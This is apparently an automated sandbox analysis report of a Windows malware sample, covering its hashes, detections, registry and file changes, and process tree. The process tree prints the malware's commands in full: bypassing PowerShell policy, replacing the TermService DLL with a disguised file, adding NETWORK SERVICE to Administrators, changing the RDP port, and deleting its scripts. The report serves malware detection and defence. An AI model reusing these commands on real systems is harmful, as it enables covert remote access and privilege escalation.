Analysis
-
max time kernel
137s -
max time network
141s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
24-08-2021 04:58
Static task
static1
Behavioral task
behavioral1
Sample
1aa9dda1b9b413444b0668500611c7f3.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
1aa9dda1b9b413444b0668500611c7f3.exe
Resource
win10v20210408
General
-
Target
1aa9dda1b9b413444b0668500611c7f3.exe
-
Size
7.2MB
-
MD5
1aa9dda1b9b413444b0668500611c7f3
-
SHA1
d980ac83bf107df1a7510ad94304a7e364d927a5
-
SHA256
02031c62d916cdd41d26a271e93ec5b06eabfa910187207b02ead07fd480c2a9
-
SHA512
37a301fd61c42c10f774950826469f215a20a24d783316febfeafd0fa06d88f536daa4d5d10153fd1ec42cc778d87716fe5b4bb9782c03e86a4e3b336e9efd53
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 18 1700 powershell.exe 20 1700 powershell.exe 21 1700 powershell.exe 22 1700 powershell.exe 24 1700 powershell.exe -
Executes dropped EXE 3 IoCs
Processes:
Uso.exe.comUso.exe.comUso.exe.compid process 2172 Uso.exe.com 3048 Uso.exe.com 3560 Uso.exe.com -
Modifies RDP port number used by Windows 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
Processes:
resource yara_rule \Windows\Branding\mediasrv.png upx \Windows\Branding\mediasvc.png upx -
Deletes itself 1 IoCs
Processes:
powershell.exepid process 4048 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
pid process 3504 3504 -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Uso.exe.comdescription pid process target process PID 3048 set thread context of 3560 3048 Uso.exe.com Uso.exe.com -
Drops file in Program Files directory 4 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe -
Drops file in Windows directory 19 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_rf3elegc.ymj.psm1 powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI647.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI687.tmp powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_e3m2orhk.v0w.ps1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI627.tmp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5B9.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI697.tmp powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exeWMIC.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent," powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones," powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 20 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 21 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 22 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 24 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4048 powershell.exe 4048 powershell.exe 4048 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 3960 powershell.exe 3960 powershell.exe 3960 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 4048 powershell.exe 4048 powershell.exe 4048 powershell.exe 1700 powershell.exe 1700 powershell.exe 1700 powershell.exe -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 620 620 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Uso.exe.compowershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3560 Uso.exe.com Token: SeDebugPrivilege 4048 powershell.exe Token: SeDebugPrivilege 4008 powershell.exe Token: SeIncreaseQuotaPrivilege 4008 powershell.exe Token: SeSecurityPrivilege 4008 powershell.exe Token: SeTakeOwnershipPrivilege 4008 powershell.exe Token: SeLoadDriverPrivilege 4008 powershell.exe Token: SeSystemProfilePrivilege 4008 powershell.exe Token: SeSystemtimePrivilege 4008 powershell.exe Token: SeProfSingleProcessPrivilege 4008 powershell.exe Token: SeIncBasePriorityPrivilege 4008 powershell.exe Token: SeCreatePagefilePrivilege 4008 powershell.exe Token: SeBackupPrivilege 4008 powershell.exe Token: SeRestorePrivilege 4008 powershell.exe Token: SeShutdownPrivilege 4008 powershell.exe Token: SeDebugPrivilege 4008 powershell.exe Token: SeSystemEnvironmentPrivilege 4008 powershell.exe Token: SeRemoteShutdownPrivilege 4008 powershell.exe Token: SeUndockPrivilege 4008 powershell.exe Token: SeManageVolumePrivilege 4008 powershell.exe Token: 33 4008 powershell.exe Token: 34 4008 powershell.exe Token: 35 4008 powershell.exe Token: 36 4008 powershell.exe Token: SeDebugPrivilege 3960 powershell.exe Token: SeIncreaseQuotaPrivilege 3960 powershell.exe Token: SeSecurityPrivilege 3960 powershell.exe Token: SeTakeOwnershipPrivilege 3960 powershell.exe Token: SeLoadDriverPrivilege 3960 powershell.exe Token: SeSystemProfilePrivilege 3960 powershell.exe Token: SeSystemtimePrivilege 3960 powershell.exe Token: SeProfSingleProcessPrivilege 3960 powershell.exe Token: SeIncBasePriorityPrivilege 3960 powershell.exe Token: SeCreatePagefilePrivilege 3960 powershell.exe Token: SeBackupPrivilege 3960 powershell.exe Token: SeRestorePrivilege 3960 powershell.exe Token: SeShutdownPrivilege 3960 powershell.exe Token: SeDebugPrivilege 3960 powershell.exe Token: SeSystemEnvironmentPrivilege 3960 powershell.exe Token: SeRemoteShutdownPrivilege 3960 powershell.exe Token: SeUndockPrivilege 3960 powershell.exe Token: SeManageVolumePrivilege 3960 powershell.exe Token: 33 3960 powershell.exe Token: 34 3960 powershell.exe Token: 35 3960 powershell.exe Token: 36 3960 powershell.exe Token: SeDebugPrivilege 2388 powershell.exe Token: SeIncreaseQuotaPrivilege 2388 powershell.exe Token: SeSecurityPrivilege 2388 powershell.exe Token: SeTakeOwnershipPrivilege 2388 powershell.exe Token: SeLoadDriverPrivilege 2388 powershell.exe Token: SeSystemProfilePrivilege 2388 powershell.exe Token: SeSystemtimePrivilege 2388 powershell.exe Token: SeProfSingleProcessPrivilege 2388 powershell.exe Token: SeIncBasePriorityPrivilege 2388 powershell.exe Token: SeCreatePagefilePrivilege 2388 powershell.exe Token: SeBackupPrivilege 2388 powershell.exe Token: SeRestorePrivilege 2388 powershell.exe Token: SeShutdownPrivilege 2388 powershell.exe Token: SeDebugPrivilege 2388 powershell.exe Token: SeSystemEnvironmentPrivilege 2388 powershell.exe Token: SeRemoteShutdownPrivilege 2388 powershell.exe Token: SeUndockPrivilege 2388 powershell.exe Token: SeManageVolumePrivilege 2388 powershell.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
Processes:
Uso.exe.comUso.exe.compid process 2172 Uso.exe.com 2172 Uso.exe.com 2172 Uso.exe.com 3048 Uso.exe.com 3048 Uso.exe.com 3048 Uso.exe.com -
Suspicious use of SendNotifyMessage 6 IoCs
Processes:
Uso.exe.comUso.exe.compid process 2172 Uso.exe.com 2172 Uso.exe.com 2172 Uso.exe.com 3048 Uso.exe.com 3048 Uso.exe.com 3048 Uso.exe.com -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
1aa9dda1b9b413444b0668500611c7f3.execmd.execmd.exeUso.exe.comUso.exe.comUso.exe.compowershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.exedescription pid process target process PID 652 wrote to memory of 204 652 1aa9dda1b9b413444b0668500611c7f3.exe dllhost.exe PID 652 wrote to memory of 204 652 1aa9dda1b9b413444b0668500611c7f3.exe dllhost.exe PID 652 wrote to memory of 204 652 1aa9dda1b9b413444b0668500611c7f3.exe dllhost.exe PID 652 wrote to memory of 940 652 1aa9dda1b9b413444b0668500611c7f3.exe cmd.exe PID 652 wrote to memory of 940 652 1aa9dda1b9b413444b0668500611c7f3.exe cmd.exe PID 652 wrote to memory of 940 652 1aa9dda1b9b413444b0668500611c7f3.exe cmd.exe PID 940 wrote to memory of 3180 940 cmd.exe cmd.exe PID 940 wrote to memory of 3180 940 cmd.exe cmd.exe PID 940 wrote to memory of 3180 940 cmd.exe cmd.exe PID 3180 wrote to memory of 744 3180 cmd.exe findstr.exe PID 3180 wrote to memory of 744 3180 cmd.exe findstr.exe PID 3180 wrote to memory of 744 3180 cmd.exe findstr.exe PID 3180 wrote to memory of 2172 3180 cmd.exe Uso.exe.com PID 3180 wrote to memory of 2172 3180 cmd.exe Uso.exe.com PID 3180 wrote to memory of 1424 3180 cmd.exe PING.EXE PID 3180 wrote to memory of 1424 3180 cmd.exe PING.EXE PID 3180 wrote to memory of 1424 3180 cmd.exe PING.EXE PID 2172 wrote to memory of 3048 2172 Uso.exe.com Uso.exe.com PID 2172 wrote to memory of 3048 2172 Uso.exe.com Uso.exe.com PID 3048 wrote to memory of 3560 3048 Uso.exe.com Uso.exe.com PID 3048 wrote to memory of 3560 3048 Uso.exe.com Uso.exe.com PID 3048 wrote to memory of 3560 3048 Uso.exe.com Uso.exe.com PID 3048 wrote to memory of 3560 3048 Uso.exe.com Uso.exe.com PID 3560 wrote to memory of 4048 3560 Uso.exe.com powershell.exe PID 3560 wrote to memory of 4048 3560 Uso.exe.com powershell.exe PID 4048 wrote to memory of 736 4048 powershell.exe csc.exe PID 4048 wrote to memory of 736 4048 powershell.exe csc.exe PID 736 wrote to memory of 3936 736 csc.exe cvtres.exe PID 736 wrote to memory of 3936 736 csc.exe cvtres.exe PID 4048 wrote to memory of 4008 4048 powershell.exe powershell.exe PID 4048 wrote to memory of 4008 4048 powershell.exe powershell.exe PID 4048 wrote to memory of 3960 4048 powershell.exe powershell.exe PID 4048 wrote to memory of 3960 4048 powershell.exe powershell.exe PID 4048 wrote to memory of 2388 4048 powershell.exe powershell.exe PID 4048 wrote to memory of 2388 4048 powershell.exe powershell.exe PID 4048 wrote to memory of 1708 4048 powershell.exe reg.exe PID 4048 wrote to memory of 1708 4048 powershell.exe reg.exe PID 4048 wrote to memory of 3956 4048 powershell.exe reg.exe PID 4048 wrote to memory of 3956 4048 powershell.exe reg.exe PID 4048 wrote to memory of 8 4048 powershell.exe reg.exe PID 4048 wrote to memory of 8 4048 powershell.exe reg.exe PID 4048 wrote to memory of 752 4048 powershell.exe net.exe PID 4048 wrote to memory of 752 4048 powershell.exe net.exe PID 752 wrote to memory of 776 752 net.exe net1.exe PID 752 wrote to memory of 776 752 net.exe net1.exe PID 4048 wrote to memory of 1520 4048 powershell.exe cmd.exe PID 4048 wrote to memory of 1520 4048 powershell.exe cmd.exe PID 1520 wrote to memory of 3548 1520 cmd.exe cmd.exe PID 1520 wrote to memory of 3548 1520 cmd.exe cmd.exe PID 3548 wrote to memory of 2272 3548 cmd.exe net.exe PID 3548 wrote to memory of 2272 3548 cmd.exe net.exe PID 2272 wrote to memory of 672 2272 net.exe net1.exe PID 2272 wrote to memory of 672 2272 net.exe net1.exe PID 4048 wrote to memory of 1488 4048 powershell.exe cmd.exe PID 4048 wrote to memory of 1488 4048 powershell.exe cmd.exe PID 1488 wrote to memory of 1232 1488 cmd.exe cmd.exe PID 1488 wrote to memory of 1232 1488 cmd.exe cmd.exe PID 1232 wrote to memory of 384 1232 cmd.exe net.exe PID 1232 wrote to memory of 384 1232 cmd.exe net.exe PID 384 wrote to memory of 3984 384 net.exe net1.exe PID 384 wrote to memory of 3984 384 net.exe net1.exe PID 2340 wrote to memory of 508 2340 cmd.exe net.exe PID 2340 wrote to memory of 508 2340 cmd.exe net.exe PID 508 wrote to memory of 4052 508 net.exe net1.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe"C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\System32\dllhost.exe"2⤵PID:204
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Bianchezza.xltx2⤵
- Suspicious use of WriteProcessMemory
PID:940 -
C:\Windows\SysWOW64\cmd.execmd3⤵
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^neXfkAonzMgXVmZcOdbhYtXinpUsiRQPwpGkvuIPGbsmTRiWdNhKCZQztQQwGRdBWnVLTOZIHIGBMnhHwYqzEyjezjuGfHoPuPCcVveCOErUagHFCoZIRXXQkTsHHzzqmRcWVSM$" Veda.xltx4⤵PID:744
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.comUso.exe.com B4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com B5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3560 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'7⤵
- Deletes itself
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ij3e41ey\ij3e41ey.cmdline"8⤵
- Suspicious use of WriteProcessMemory
PID:736 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAC5E.tmp" "c:\Users\Admin\AppData\Local\Temp\ij3e41ey\CSCB1FF2C35EB8749A8BFDD69BC8F507054.TMP"9⤵PID:3936
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4008 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3960 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2388 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f8⤵PID:1708
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f8⤵
- Modifies registry key
PID:3956 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f8⤵PID:8
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add8⤵
- Suspicious use of WriteProcessMemory
PID:752 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add9⤵PID:776
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr8⤵
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\system32\cmd.execmd /c net start rdpdr9⤵
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\system32\net.exenet start rdpdr10⤵
- Suspicious use of WriteProcessMemory
PID:2272 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr11⤵PID:672
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService8⤵
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\system32\cmd.execmd /c net start TermService9⤵
- Suspicious use of WriteProcessMemory
PID:1232 -
C:\Windows\system32\net.exenet start TermService10⤵
- Suspicious use of WriteProcessMemory
PID:384 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService11⤵PID:3984
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f8⤵PID:4000
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f8⤵PID:2864
-
C:\Windows\SysWOW64\PING.EXEping GFBFPSXA -n 304⤵
- Runs ping.exe
PID:1424
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵
- Suspicious use of WriteProcessMemory
PID:2340 -
